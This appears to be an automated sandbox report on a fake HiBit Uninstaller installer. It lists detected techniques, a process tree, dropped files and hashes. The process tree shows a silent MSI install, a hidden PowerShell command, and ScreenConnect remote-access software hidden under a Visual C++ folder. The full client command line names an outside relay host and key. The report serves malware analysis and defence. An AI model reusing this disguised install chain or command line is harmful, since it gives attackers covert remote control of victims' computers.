Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/10/2026, 23:10

General

  • Target
    HiBitUninstaller-setup-4.0.10\HiBitUninstaller-setup-4.0.10.exe
  • Size 74KB
  • Sample261006-25nvpsgh63
  • SHA256 f0b332ed4ff4f4dde04cf7463b6aba23d8cd3198bd763a627c5c196c2d775760
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 6 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 26 IoCs
  • Drops file in Windows directory 37 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\HiBitUninstaller-setup-4.0.10\HiBitUninstaller-setup-4.0.10.exe
    "C:\Users\Admin\AppData\Local\Temp\HiBitUninstaller-setup-4.0.10\HiBitUninstaller-setup-4.0.10.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5296
    • C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\SC5C30.tmp" /qn /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:5044
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Start-Sleep 180; Remove-Item -Force -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\SC5C30.tmp'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5040
    • C:\Users\Admin\AppData\Local\Temp\HiBitUninstaller-setup-4.0.10\redist\2022\vcomp140.dll
      "C:\Users\Admin\AppData\Local\Temp\HiBitUninstaller-setup-4.0.10\redist\2022\vcomp140.dll"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3320
      • C:\Users\Admin\AppData\Local\Temp\is-CRJ24.tmp\vcomp140.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-CRJ24.tmp\vcomp140.tmp" /SL5="$400AE,4211159,58368,C:\Users\Admin\AppData\Local\Temp\HiBitUninstaller-setup-4.0.10\redist\2022\vcomp140.dll"
        3⤵
        • Drops file in Program Files directory
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2788
        • C:\Program Files (x86)\HiBit Uninstaller\HiBitUninstaller.exe
          "C:\Program Files (x86)\HiBit Uninstaller\HiBitUninstaller.exe"
          4⤵
          • Drops file in Program Files directory
          • Drops file in Windows directory
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of SetWindowsHookEx
          PID:5348
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6500CF1F6B973D20A9A9C675A1153484
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4772
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI6651.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240740093 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1392
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding DBCEA9454DA88A0E1123086F65398E7D E Global\MSI0000
      2⤵
      • Drops file in Windows directory
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:716
  • C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=support.open-port-online.xyz&p=8041&s=f9c18b3c-954d-4145-a1af-ab8666003b11&k=BgIAAACkAABSU0ExAAgAAAEAAQB9A8kI4PGsiz%2fxgCPU7NxM1XAo2cY%2brmPe6wbLscHgD8YTsAOqkKXJdHcMu5Rz5QXlRgdsIUkQByuiKIHfrKvRwrT1KvMArPwWZZbsVcb4OHUjASGG9Qf5%2bfULXGbEUXT7BmAHu3PBfJyIKGl4Lv7V0PV6S6hgI9c5kKaw3NCP2CxzSuCJncPiC1fkgcZlGlwuIk0QWlQ8VObGqOgLap7eU1WyCftTfNr3XVZObLKFGt0PzISRA%2fF9g1sNJs1R0jcK0KE%2bSzapCS9HP9dM%2brCO4TTY2ElSeNeWe44nfa%2br4eDTWeg0prhsMEVjnHqJxg0Uqt9qAq97g0oHQbS4SanP&c=HiBitUninstaller-setup-4.0.10"
    1⤵
    • Sets service image path in registry
    • Network Service Discovery
    • Drops file in System32 directory
    • Executes dropped EXE
    • Loads dropped DLL
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4472
    • C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe" "RunRole" "3a6e267e-9f36-4c89-a5f2-da7f8389f3e4" "User"
      2⤵
      • Executes dropped EXE
      PID:2608
    • C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe" "RunRole" "ae50e513-aaac-44b5-b15c-05026a8b6350" "System"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:1740
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4976

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5962ab.rbs

          • Path C:\Config.Msi\e5962ab.rbs
          • Size 214KB
          • SHA256 febda04cdfff3ee64c5474d36b087213373fb799b268da932ddbbb721a0da84e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          HiBitUninstaller.exe

          • Path C:\Program Files (x86)\HiBit Uninstaller\HiBitUninstaller.exe
          • Size 14.7MB
          • SHA256 89092212bd920b84d235a5d4ea89ccaa7f64ec32fcaf769f1e9cdb8070c3dcea
          • MD5 SHA1 SHA512 SSDEEP TLSH

          unins000.exe

          • Path C:\Program Files (x86)\HiBit Uninstaller\unins000.exe
          • Size 713KB
          • SHA256 0527b284ffc2e79f210329107e5ae7dbf569aa7c721752bed8c76badba92089c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\Client.Override.en-US.resources
          • Size 498B
          • SHA256 0307565b9e70e582f8c8695eebc0fb3d0da76426b94f778928742465036e9160
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\Client.Override.resources
          • Size 4KB
          • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\Client.en-US.resources
          • Size 48KB
          • SHA256 f8398a235b29af6569f2b116e0299b95512d042f5a4cd38c98c79729a5fbdb9d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 c48818729f4743c8ca9e1b31c8fe3c3e4bb335ae5e5e9ac253a823f9979e582c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 4505825b498071330af95e6fb49d0e4838e7f0c7afd760f46d19d0c7c20eb5e5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 c934cc868a7e985753ccaaef66d3e0714819be1d5549d600e113e09c93142cb9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 244KB
          • SHA256 7a6e2a764928322d7f1e57af61a1e463bff0cd373c19c4bd0a3dc93a845fa46d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe
          • Size 584KB
          • SHA256 aa921b756893d0a0740e90469c27d047bfc0b733f38e5f1490df47baf8441d7a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsCredentialProvider.dll
          • Size 869KB
          • SHA256 46869989dc9086be05080b30a3dccefa9df021826a04820f6b2f30e2e86b5f9c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\app.config
          • Size 1KB
          • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2017\system.config
          • Size 948B
          • SHA256 9a25ba68db20d1c8b522d7d50037e8bb87d70761364704a9d5f887985acac492
          • MD5 SHA1 SHA512 TLSH

          SC5C30.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\SC5C30.tmp
          • Size 12.9MB
          • SHA256 33bd47ebe08f810977785e10454ae31f060113cb69ef5a25cfb81e1a7be19b94
          • MD5 SHA1 SHA512 SSDEEP TLSH

          vcomp140.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\is-CRJ24.tmp\vcomp140.tmp
          • Size 702KB
          • SHA256 3bb0ee5569fe5453c6b3fa25aa517b925d4f8d1f7ba3475e58fa09c46290658c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI6651.tmp

          • Path C:\Windows\Installer\MSI6651.tmp
          • Size 1.1MB
          • SHA256 81c8eb2c3eff9902c4a210d265ed7fc8ecb6619aec3fbbcedaed390e0f31c4aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI6651.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI6651.tmp-\ScreenConnect.Core.dll
          • Size 533KB
          • SHA256 289c9f6f4c91ff0774de14bbcb637346ccb74ed676cb915376040674056271bc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI6651.tmp-\ScreenConnect.InstallerActions.dll
          • Size 21KB
          • SHA256 acdce930cde439092e10dc6b766c2d564eb51def7877e92b69d0bf8b400c05a7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI6651.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 30a0135e30850d8d5a47ad868e1aceca5d523e50e97298f57fd9b447384ae67c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI7DF2.tmp

          • Path C:\Windows\Installer\MSI7DF2.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          DefaultIcon

          • Path C:\Windows\Installer\{E608C884-2F04-AFD2-1800-2D90CAE8D3AB}\DefaultIcon
          • Size 1KB
          • SHA256 c052cf0d64f5af9e10b9299e838e30689d6ad57c993398f0ad888f31a1881117
          • MD5 SHA1 SHA512 TLSH

          memory/1392-51-0x00000000040B0000-0x00000000040DE000-memory.dmp

          memory/1392-55-0x00000000040F0000-0x00000000040FC000-memory.dmp

          memory/1392-63-0x0000000006440000-0x00000000065EA000-memory.dmp

          memory/1392-64-0x0000000006BB0000-0x000000000716A000-memory.dmp

          memory/1392-59-0x0000000006200000-0x000000000628C000-memory.dmp

          memory/2608-150-0x000000001C130000-0x000000001C2B8000-memory.dmp

          memory/2608-148-0x000000001BD40000-0x000000001BDCC000-memory.dmp

          memory/2608-149-0x000000001BF80000-0x000000001C12A000-memory.dmp

          memory/2608-147-0x000000001B8F0000-0x000000001B926000-memory.dmp

          memory/2608-152-0x0000000001610000-0x0000000001626000-memory.dmp

          memory/2608-151-0x00000000015B0000-0x00000000015C6000-memory.dmp

          memory/2608-146-0x0000000000CA0000-0x0000000000D36000-memory.dmp

          memory/2788-153-0x0000000000400000-0x00000000004BF000-memory.dmp

          memory/2788-193-0x0000000000400000-0x00000000004BF000-memory.dmp

          memory/2788-181-0x0000000000400000-0x00000000004BF000-memory.dmp

          memory/2788-162-0x0000000000400000-0x00000000004BF000-memory.dmp

          memory/2788-160-0x0000000000400000-0x00000000004BF000-memory.dmp

          memory/3320-127-0x0000000000400000-0x0000000000415000-memory.dmp

          memory/3320-4-0x0000000000400000-0x0000000000415000-memory.dmp

          memory/3320-194-0x0000000000400000-0x0000000000415000-memory.dmp

          memory/4472-133-0x0000000004480000-0x00000000044C1000-memory.dmp

          memory/4472-131-0x0000000004520000-0x00000000045B2000-memory.dmp

          memory/4472-135-0x0000000004710000-0x00000000047EC000-memory.dmp

          memory/4472-130-0x0000000004440000-0x0000000004476000-memory.dmp

          memory/4472-125-0x00000000043F0000-0x0000000004440000-memory.dmp

          memory/4472-103-0x0000000001A50000-0x0000000001A66000-memory.dmp

          memory/5040-7-0x00007FFFC4300000-0x00007FFFC4CA4000-memory.dmp

          memory/5040-18-0x00007FFFC4300000-0x00007FFFC4CA4000-memory.dmp

          memory/5040-12-0x00007FFFC4300000-0x00007FFFC4CA4000-memory.dmp

          memory/5040-13-0x00007FFFC4300000-0x00007FFFC4CA4000-memory.dmp

          memory/5040-157-0x00007FFFC4300000-0x00007FFFC4CA4000-memory.dmp

          memory/5040-158-0x00007FFFC4300000-0x00007FFFC4CA4000-memory.dmp

          memory/5040-16-0x00007FFFC4300000-0x00007FFFC4CA4000-memory.dmp

          memory/5040-11-0x000002454D410000-0x000002454D432000-memory.dmp

          memory/5040-19-0x00007FFFC4300000-0x00007FFFC4CA4000-memory.dmp

          memory/5040-2-0x00007FFFC448F000-0x00007FFFC4490000-memory.dmp

          memory/5040-44-0x00007FFFC4300000-0x00007FFFC4CA4000-memory.dmp

          memory/5040-45-0x00007FFFC4300000-0x00007FFFC4CA4000-memory.dmp

          memory/5040-47-0x00007FFFC4300000-0x00007FFFC4CA4000-memory.dmp

          memory/5296-3-0x00007FFFDD3F0000-0x00007FFFDD3FE000-memory.dmp

          memory/5348-202-0x0000000000AC0000-0x000000000199B000-memory.dmp